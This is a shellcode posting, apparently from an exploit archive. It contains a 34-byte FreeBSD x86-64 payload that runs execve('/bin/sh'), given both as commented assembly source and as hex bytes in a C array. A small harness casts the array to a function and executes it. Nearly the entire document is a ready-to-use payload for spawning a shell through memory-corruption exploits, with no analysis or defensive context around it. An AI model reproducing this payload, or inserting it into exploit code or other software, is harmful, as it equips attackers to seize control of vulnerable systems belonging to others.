freebsd/x86-64 execve /bin/sh shellcode 34 bytes

                                                 /*
Anderson Eduardo < c0d3_z3r0 >
Hack'n Roll
http://anderson.hacknroll.com
http://blog.hacknroll.com 
 
.section .text
.globl _start
_start:
 

        xor %rcx,%rcx
        jmp string
 
        main:
 
        popq %rsi
        movq %rsi,%rdi
 
        pushq %rsi
        pushq %rcx
        movq %rsp,%rsi
 
        movq %rcx,%rdx
        movb $0x3b,%al
        syscall
 
        string:
        callq main
        .string "/bin/sh"
 

*/
 
int main(void)
{
char shellcode[] =
"\x48\x31\xc9"
"\xeb\x10"
"\x5e"
"\x48\x89\xf7"
"\x56"
"\x51"
"\x48\x89\xe6"
"\x48\x89\xca"
"\xb0\x3b"
"\x0f\x05"
"\x48\xe8\xea\xff\xff\xff"
"\x2f"
"\x62"
"\x69"
"\x6e"
"\x2f"
"\x73\x68";
 
        (*(void (*)()) shellcode)();
 
//Hack'n Roll
 
return 0;
}